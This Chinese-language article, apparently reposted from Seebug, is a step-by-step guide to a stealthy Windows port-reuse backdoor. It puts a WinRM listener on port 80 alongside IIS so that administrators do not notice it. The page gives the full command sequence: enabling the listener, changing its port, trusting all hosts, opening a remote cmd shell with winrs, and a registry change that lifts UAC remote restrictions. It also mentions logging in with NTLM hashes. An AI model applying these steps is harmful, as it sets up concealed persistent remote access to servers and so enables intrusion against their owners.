打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
一条命令实现端口复用后门

0x00:前言

    说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现。但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后门方法。

    对于不想看原理,只关心如何使用的读者可以直接跳到“0x02. 后门配置”。

0x01. 基本原理介绍

    该后门的基本原理是使用Windows的远程管理管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

WinRM服务

    WinRM全称是Windows Remote Management,是微软服务器硬件管理功能的一部分,能够对本地或远程的服务器进行管理。WinRM服务能够让管理员远程登录Windows操作系统,获得一个类似Telnet的交互式命令行shell,而底层通讯协议使用的是HTTP。

HTTP.sys驱动

    HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。

    使用


netsh http show servicestate

    命令可以查看所有在HTTP.sys上注册过的url前缀。

    实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。

    因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。

0x02. 后门配置

开启WinRM服务

在Windows 2012以上的服务器操作系统中,WinRM服务默认启动并监听了5985端口,可以省略这一步。

    对于Windows 2008来说,需要使用命令来启动WinRM服务,快速配置和启动的命令是


winrm quickconfig -q

这条命令运行后会自动添加防火墙例外规则,放行5985端口。

    新增80端口Listener

    对于原本就开放了WinRM服务的机器来讲,需要保留原本的5985端口listener,同时需要新增一个80端口的listener,这样既能保证原来的5985端口管理员可以使用,我们也能通过80端口连接WinRM。

    使用下面这条命令即可新增一个80端口的listener


winrm set winrm/config/service @{EnableCompatibilityHttpListener='true'}

    对于安装Windows 2012及以上版本操作系统的服务器来讲,只需要这一条命令即可实现端口复用。

这种情况下,老的5985端口listener还保留着

修改WinRM端口

    在Windows 2008上面如果原本没有开启WinRM服务,那么需要把默认的5985端口修改成web服务端口80,否则管理员上来看到一个5985端口就可能起疑心。

    通过下面这条命令即可修改端口为80


winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port='80'}

    这种情况下,管理员查看端口也看不到5985开放,只开放80端口。

    经过配置之后,WinRM已经在80端口上监听了一个listener,与此同时,IIS的web服务也能完全正常运行。

0x03. 后门连接和使用

本地配置

    本地需要连接WinRM服务时,首先也需要配置启动WinRM服务,然后需要设置信任连接的主机,执行以下两条命令即可。



winrm quickconfig -qwinrm set winrm/config/Client @{TrustedHosts='*'}

    连接使用

    使用winrs命令即可连接远程WinRM服务执行命令,并返回结果


winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami

    上述命令会在远程机器上执行whoami命令,获取结果后直接退出。

将whoami命令换成cmd即可获取一个交互式的shell


winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd cmd

UAC问题

    WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。


reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

修改后,普通管理员登录后也是高权限。

Hash登录

    系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。

0x04. 结语

    本文给出了一种使用WinRM作为端口复用后门的方法。但限于篇幅,还存在很多细节问题没有涉及,留待读者进行更深层次的研究。另外也在此抛出两个小问题,有兴趣的读者可以思考下:

    1、在已有WinRM服务的情况下,对于非80端口的web服务要如何处理;

    2、HTTPS连接的配置和使用。

原文转载自:

https://paper.seebug.org/1004/

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
丢掉PSEXEC使用wmi来横向渗透
25款黑客小工具——菜鸟必备
如何在Windows、Linux中安装后门?
Win2003系统问题解决问答
Metador之谜| 隐藏在电信公司、ISP和大学中的未知威胁
windows7上使用docker容器
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服